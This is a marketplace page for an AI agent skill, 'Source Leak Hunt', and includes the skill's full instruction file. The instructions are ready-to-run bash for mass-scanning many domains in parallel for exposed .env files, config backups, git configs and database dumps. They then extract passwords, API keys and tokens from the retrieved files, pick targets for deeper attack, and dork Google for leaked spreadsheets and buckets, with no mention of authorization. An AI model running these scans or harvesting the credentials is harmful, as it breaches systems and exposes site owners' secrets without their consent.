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Source Leak Hunt

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uphiago
source-leak-hunt

Mass scan for exposed env files, backups, and git configs.

Overview

Publisheruphiago
Repositoryrecon-skills
Skill namesource-leak-hunt
Stars
1.3K
Forks
213
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the Source Leak Hunt AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/recon/source-leak-hunt .claude/skills/source-leak-hunt
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Source Leak Hunt in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Source Leak Hunt on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Source Leak Hunt is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Source Leak Hunt Skill

Mass scanning for exposed sensitive files (.env, .git/config, wp-config.php.bak, debug.log, backup.sql, phpinfo.php, Dockerfile, etc.) with content-based false positive filtering. Source leaks are the second most common finding (~7% of targets) after WordPress user enumeration.

When to Use

  • After skill_view(name='wp-mass-recon') confirms a target is alive.
  • Broad scanning across a batch of domains.
  • When probing for credential exposure that enables deeper access.
  • Complementing skill_view(name='js-secrets-extraction') for client-side secrets.

Prerequisites

  • terminal with curl.
  • List of live URLs (output from httpx or wp-mass-recon Phase 1).
  • Persistence: output directory at $OUTDIR/leaks/.

How to Run

bash
# Quick scan single target (20 paths)
TARGET="https://example.com"
for path in .env .git/config wp-config.php.bak debug.log backup.sql info.php phpinfo.php \
  .env.backup .env.local .env.production wp-config.php~ .git/HEAD .backup.sql \
  docker-compose.yml Dockerfile .DS_Store robots.txt sitemap.xml; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$TARGET/$path")
  [[ "$code" == "200" ]] && echo "HTTP 200: $TARGET/$path"
  sleep 0.2
done

Quick Reference

PathWhat It ExposesSeverity
.envDB creds, API keys, app secretsCritical
wp-config.php.bakMySQL root password, saltsCritical
.git/configRepository URL, credentialsHigh
debug.logPHP errors, server paths, SQL queriesHigh
backup.sqlFull database dumpCritical
info.php / phpinfo.phpPHP config, disable_functions, server envHigh
docker-compose.ymlService architecture, env varsMedium
DockerfileBuild config, exposed portsLow
.env.backup / .env.localSame as .env, alternate namesCritical
wp-config.php~Vim swap of wp-configCritical
.DS_StoreDirectory listing (macOS)Low
error_logPHP error log (can be multi-MB, full of paths/queries)High

Procedure

Step 1 — Parallel Mass Scan

bash
#!/bin/bash
URLS_FILE="$1"   # One URL per line
OUTDIR="$OUTDIR/leaks"
mkdir -p "$OUTDIR"

PATHS=(
  ".env"
  ".git/config"
  "wp-config.php.bak"
  "debug.log"
  "backup.sql"
  "info.php"
  "phpinfo.php"
  ".env.backup"
  ".env.local"
  ".env.production"
  "wp-config.php~"
  ".git/HEAD"
  "docker-compose.yml"
  "Dockerfile"
  ".DS_Store"
  "robots.txt"
  "sitemap.xml"
  "error_log"
  "wp-content/debug.log"
  ".backup.sql"
)

# Content verification patterns (avoids SPA catch-all false positives)
declare -A PATTERNS
PATTERNS[".env"]='DB_|APP_|_KEY|_SECRET|DATABASE|PASSWORD|TOKEN'
PATTERNS["wp-config.php.bak"]='DB_NAME|DB_PASSWORD|AUTH_KEY'
PATTERNS[".git/config"]='\[core\]'
PATTERNS["debug.log"]='PHP|ERROR|WARNING|Stack trace'
PATTERNS["backup.sql"]='CREATE TABLE|INSERT INTO|DROP TABLE'
PATTERNS["info.php"]='PHP Version|phpinfo'
PATTERNS["phpinfo.php"]='PHP Version|phpinfo'
PATTERNS[".env.backup"]='DB_|APP_|_KEY|_SECRET'
PATTERNS[".env.local"]='DB_|APP_|_KEY|_SECRET'
PATTERNS[".env.production"]='DB_|APP_|_KEY|_SECRET'
PATTERNS["wp-config.php~"]='DB_NAME|DB_PASSWORD'
PATTERNS["error_log"]='PHP|ERROR|Stack trace'

scan_target() {
  local url="$1"
  local domain
  domain=$(echo "$url" | sed 's|https\?://||' | sed 's|/.*||')

  for path in "${PATHS[@]}"; do
    local full_url="${url}/${path}"
    local code
    code=$(curl -sk -o /tmp/leak_check_$$.tmp -w "%{http_code}" --max-time 5 --connect-timeout 5 "$full_url" 2>/dev/null)

    if [[ "$code" == "200" ]]; then
      local content
      content=$(head -c 2000 /tmp/leak_check_$$.tmp 2>/dev/null)
      local pattern="${PATTERNS[$path]}"

      if [[ -n "$pattern" ]] && echo "$content" | grep -qiE "$pattern"; then
        echo "[LEAK] $full_url (VERIFIED: $path)"
        echo "$full_url" >> "$OUTDIR/${domain}_leaks.txt"
        cp /tmp/leak_check_$$.tmp "$OUTDIR/${domain}_${path//\//_}.content" 2>/dev/null
      elif [[ -z "$pattern" ]]; then
        # No pattern check — just log HTTP 200 (e.g., robots.txt)
        local size=$(wc -c < /tmp/leak_check_$$.tmp)
        if [[ "$size" -gt 50 ]]; then
          echo "[INFO] $full_url (HTTP 200, ${size} bytes)"
          echo "$full_url" >> "$OUTDIR/${domain}_leaks.txt"
        fi
      fi
    fi
    sleep 0.3
  done
  rm -f /tmp/leak_check_$$.tmp
}

export -f scan_target
export OUTDIR
export PATHS

# Run 30 parallel workers
cat "$URLS_FILE" | xargs -P 30 -I {} bash -c 'scan_target "{}"'

echo "[+] Done. Results in $OUTDIR/"

Step 2 — Extract Credentials from Leaked Files

bash
# From .env files
grep -rhE '(DB_|APP_|_KEY|_SECRET|DATABASE|PASSWORD|TOKEN|SECRET)=' $OUTDIR/leaks/*.env*.content 2>/dev/null | sort -u

# From wp-config backups
grep -rhE 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST|AUTH_KEY' $OUTDIR/leaks/*wp-config* 2>/dev/null

# From .git/config
grep -rh 'url = ' $OUTDIR/leaks/*.git_config.content 2>/dev/null

# From SQL dumps
grep -rhE 'CREATE TABLE|INSERT INTO' $OUTDIR/leaks/*backup* $OUTDIR/leaks/*.sql* 2>/dev/null | head -20

Step 3 — Find Targets with Multiple Leaks (Deep-Dive Candidates)

bash
for f in $OUTDIR/leaks/*_leaks.txt; do
  count=$(wc -l < "$f")
  [[ "$count" -ge 3 ]] && echo "$(basename "$f" _leaks.txt): $count leaks"
done | sort -t: -k2 -rn

Pitfalls

  • SPA catch-all false positives over 70% of results without filtering. Single-page apps return HTTP 200 with index.html for any path. Content verification is mandatory.
  • CloudFront/S3 error pages. Some CDNs return 200 with an XML error body for missing files. Check content type and body.
  • Truncated content on large files. error_log files can be 1.7MB+. Fetch in chunks or use curl -r 0-5000 for sampling.
  • git/HEAD false positive. Some themes/setups have .git/HEAD returning 200 with a legitimate git hash. Verify .git/config first.
  • Parked/for-sale domains return HTTP 200 for every path. Generic parking pages serve content for /.env, /.git/config, /info.php, etc. with no error handling — every path returns 200 with the same landing page. Detect these by checking if multiple unrelated paths return identical content (same body hash, same <title>, or same keyword like "for sale" or "parked"). Add early-exit: if /robots.txt and /.env both return 200 with near-identical HTML, mark domain as parked and skip further source-leak checks.

Verification

  • Every .env leak MUST contain at least one of: DB_, APP_, _KEY, _SECRET, PASSWORD, TOKEN.
  • Every wp-config.php.bak leak MUST contain DB_NAME and DB_PASSWORD.
  • Every .git/config leak MUST contain [core] section header.
  • Every SQL backup MUST contain DDL (CREATE TABLE) or DML (INSERT INTO) statements.
  • Log all verified leaks with timestamp and HTTP response size.

Phase 6 — Backup File Discovery

bash
# bfac — multi-level backup file detection
bfac --url https://target.com \
  --detection-technique all \
  --level 3 \
  --exclude-status-codes 404,500

# Wayback Machine — historical sensitive files
waybackurls https://target.com | grep -iE \
  "\.(xls|xlsx|csv|sql|db|bak|backup|old|tar\.gz|tgz|zip|7z|rar|pdf|pem|key|crt|env|json|yml|yaml|conf|config|git|htpasswd|log|dump|DS_Store)" \
  | sort -u > sensitive_wayback.txt

# Check which are still accessible
cat sensitive_wayback.txt | httpx -silent -mc 200 -o accessible_sensitive.txt

# Common backup patterns to probe
for ext in bak old backup zip tar.gz tgz sql dump; do
  curl --max-time 30 --connect-timeout 10 -skI "https://target.com/backup.$ext" | head -1
  curl --max-time 30 --connect-timeout 10 -skI "https://target.com/site.$ext" | head -1
  curl --max-time 30 --connect-timeout 10 -skI "https://target.com/target.$ext" | head -1
  sleep 0.3
done

Phase 7 — Google Services Leak Dorking

bash
# Google Sheets — internal spreadsheets often left public
# Manual search:
# site:docs.google.com/spreadsheets "target.com"
# site:docs.google.com/spreadsheets "@target.com"
# site:docs.google.com/spreadsheets "password" "target.com"

# Google Drive files
# site:drive.google.com "target.com" "confidential"

# Firebase/Firestore URLs in public search results
# site:firebaseio.com "target.com"
# site:firestore.googleapis.com "target-app"

# GCP buckets
# site:storage.googleapis.com "target"
# site:storage.cloud.google.com "target"

Frequently asked questions

What does the Source Leak Hunt AI skill do?

Mass scan for exposed env files, backups, and git configs.

Why use Source Leak Hunt on TypingMind?

Because you install it once and use it with any model. Source Leak Hunt is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Source Leak Hunt in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/recon/source-leak-hunt. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Source Leak Hunt?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Source Leak Hunt?

As many as you like. As long as a model supports skills, you can use Source Leak Hunt with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Source Leak Hunt AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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